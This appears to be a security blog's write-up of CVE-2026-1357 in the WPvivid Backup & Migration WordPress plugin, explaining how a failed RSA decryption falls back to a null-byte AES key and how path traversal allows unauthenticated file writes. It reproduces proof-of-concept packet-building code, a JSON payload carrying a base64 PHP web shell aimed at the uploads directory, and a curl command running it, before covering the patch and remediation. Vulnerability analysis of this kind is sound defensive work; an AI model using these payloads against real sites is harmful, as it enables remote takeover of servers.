October 15, 2026
CVE-2026β1357 Explained: The Cost of Never Checking Whether Decryption Failed
WPvivid Backup & Migration is a plugin that creates WordPress backups and moves them to another server. To transfer backup data betweenβ¦
By Guidancewhite
5 min read
- 1 Where the flaw lives β the cross-site backup transfer protocol
- 2 Step-by-step source analysis
- 3 Step 1 β the RSA decryption result is used without being checked
- 4 Step 2 β phpseclib casts false into a "null-byte key" (the root cause)
- 5 Step 3 β the file path inside the (apparently) decrypted JSON is used with no validation
WPvivid Backup & Migration is a plugin that creates WordPress backups and moves them to another server. To transfer backup data between sites securely, the plugin implements its own protocol: it encrypts backup chunks with an AES session key, which is itself wrapped in RSA. The cryptographic design is sound on paper. The problem is that it never answered one question: what should happen when RSA decryption fails?
When openssl_private_decrypt() fails, PHP returns false. The plugin never checked that return value β it passed false straight into the next stage, phpseclib's AES decryption function, as the key. phpseclib treats a non-string value like false as a zero-length string, and because AES requires a fixed-length key, the library's internal padding/casting logic turns that into a predictable key filled entirely with null bytes. The RSA private key β the entire point of the protection β is effectively bypassed. Layer a second flaw on top β the uploaded filename is never validated β and an unauthenticated attacker can drop a PHP web shell directly into WordPress's upload directory.
Where the flaw lives β the cross-site backup transfer protocol
WPvivid exposes an AJAX action called send_to_site to move a backup from one site to another. The request carries a packet structured like this:
[RSA ciphertext length (3 hex digits)][AES key encrypted with RSA][AES ciphertext length (16 hex digits)][JSON payload encrypted with AES][RSA ciphertext length (3 hex digits)][AES key encrypted with RSA][AES ciphertext length (16 hex digits)][JSON payload encrypted with AES]The intent is straightforward: the AES key itself is encrypted with an RSA public key, the receiving side recovers it using its own private key, and that recovered key decrypts the actual backup data (JSON). If this worked as designed, an attacker without the RSA private key should have no way to produce a valid AES key in the first place.
Step-by-step source analysis
Step 1 β the RSA decryption result is used without being checked
The handling logic in class-wpvivid-send-to-site.php looks roughly like this (reconstructed from the public advisory and the published PoC):
// class-wpvivid-send-to-site.php (reconstructed from the public advisory)
openssl_private_decrypt($encrypted_aes_key, $aes_key, $this->private_key);
$cipher = new \phpseclib\Crypt\AES('cbc');
$cipher->setKey($aes_key); // passed through even if $aes_key is false
$cipher->setIV($iv);
$json = $cipher->decrypt($encrypted_payload);// class-wpvivid-send-to-site.php (reconstructed from the public advisory)
openssl_private_decrypt($encrypted_aes_key, $aes_key, $this->private_key);
$cipher = new \phpseclib\Crypt\AES('cbc');
$cipher->setKey($aes_key); // passed through even if $aes_key is false
$cipher->setIV($iv);
$json = $cipher->decrypt($encrypted_payload);openssl_private_decrypt() returns true and fills its third argument ($aes_key) with the decrypted value on success β or returns false, leaving $aes_key unset or unchanged, on failure. Correct code checks that return value and rejects the request immediately on failure. This code discards the return value entirely and uses $aes_key as the AES key on the very next line, whatever state it's in.
Step 2 β phpseclib casts false into a "null-byte key" (the root cause)
setKey() expects a string. PHP is loosely typed, so when false lands where a string is expected, an implicit conversion happens. Inside phpseclib, as the key gets padded out to the block cipher's required length (16 bytes for AES-128), false is effectively treated as an empty string of length zero, and padding that out to 16 bytes produces a key consisting of sixteen repeated \x00 bytes.
openssl_private_decrypt() fails β $aes_key = false
setKey(false) β phpseclib pads it out, landing on "\x00" Γ 16 in practiceopenssl_private_decrypt() fails β $aes_key = false
setKey(false) β phpseclib pads it out, landing on "\x00" Γ 16 in practiceThis is the crux of the whole bug. An AES key that should only be derivable with the RSA private key instead collapses to the exact same value β sixteen null bytes β every single time decryption fails. The attacker doesn't need to know the server's RSA private key at all; they only need to know "this server falls back to a fixed key whenever decryption of the attacker's own crafted request fails." The RSA-ciphertext portion of the packet can contain literally anything, including something that isn't valid RSA ciphertext at all β it fails to decrypt either way, and either way the result is the same null-byte key. The public PoC does exactly this, filling the RSA slot with the meaningless placeholder "ABC" and encrypting only the AES portion with a null key and null IV.
# Core PoC logic (halilkirazkaya/CVE-2026-1357, public repository)
null_key = b"\x00" * 16
null_iv = b"\x00" * 16
cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv) # matches the server's own failure fallback
fake_key = b"ABC" # meaningless placeholder for the RSA slot - it's fine if decryption fails
packet = (
format(len(fake_key), "03x").encode() + fake_key
+ format(len(encrypted), "016x").encode() + encrypted
)# Core PoC logic (halilkirazkaya/CVE-2026-1357, public repository)
null_key = b"\x00" * 16
null_iv = b"\x00" * 16
cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv) # matches the server's own failure fallback
fake_key = b"ABC" # meaningless placeholder for the RSA slot - it's fine if decryption fails
packet = (
format(len(fake_key), "03x").encode() + fake_key
+ format(len(encrypted), "016x").encode() + encrypted
)Step 3 β the file path inside the (apparently) decrypted JSON is used with no validation
Once the server decrypts the attacker's AES ciphertext using the null-byte key, it gets back exactly the JSON the attacker intended:
{
"backup_id": "1",
"name": "../uploads/shell.php",
"data": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+",
"offset": 0,
"index": 0,
"type": "backup",
"status": "running"
}{
"backup_id": "1",
"name": "../uploads/shell.php",
"data": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+",
"offset": 0,
"index": 0,
"type": "backup",
"status": "running"
}The name field here is both the filename and the path a backup chunk gets written to. In normal use, this field presumably assumes only a filename under the plugin's internal directory will ever appear β but there's no check at all for whether this value can escape that directory (path normalization, blocking ../, allowed-extension checks, none of it). The data field is the base64-encoded file content itself, which can hold PHP web shell code directly.
Step 4 β path traversal lands the file in the public upload directory
The ../ sequence embedded in name is interpreted literally when the plugin writes the file, breaking out of the intended backup-only directory and landing it in WordPress's public upload directory (wp-content/uploads/). Because the web server serves that directory directly, the uploaded PHP file executes the moment it's requested by URL β no separate trigger needed.
curl "http://target/wp-content/uploads/shell.php?cmd=id"
# β uid=33(www-data) gid=33(www-data) groups=33(www-datacurl "http://target/wp-content/uploads/shell.php?cmd=id"
# β uid=33(www-data) gid=33(www-data) groups=33(www-dataNo credentials, no RSA private key, not even a valid session required. The only precondition is that a "Key" (API token) must have been generated at some point in the plugin's settings β and because the plugin's own internal logic often turns this on automatically whenever the relevant feature is used, rather than requiring deliberate admin action each time, this precondition holds often enough in real deployments.
The patch β treat failure as failure, and validate the path
WPvivid 0.9.124 fixed this in two places:
- It now checks the return value of
openssl_private_decrypt()and rejects the request immediately on failure, sofalsenever reaches the next stage at all. - It added path normalization and directory-traversal protection to the uploaded file's
namevalue, making it impossible to write outside the designated backup directory.
There are two lessons here. Treating a cryptographic function's failure as "something that won't happen" and skipping the return-value check turns that exact failure path into the most predictable route to success an attacker could ask for. And data being encrypted doesn't mean every value inside it β especially a file path β can be trusted once decrypted; input validation is still required on the other side of the cryptographic layer.
Remediation
- Update WPvivid Backup & Migration to 0.9.124 or later immediately.
- If an immediate update isn't possible, consider revoking any generated "Key" in the plugin's settings and disabling the cross-site transfer feature until it can be regenerated.
- Blocking PHP execution inside
wp-content/uploads/at the web server level (an Nginxlocationrule, an Apache.htaccessdirective) is a useful common defense against this entire class of upload vulnerability. - If exposure is possible, check
wp-content/uploads/for unfamiliar.phpfiles, and cross-reference web server access logs forwpvivid_action=send_to_siterequests followed by access to the upload directory.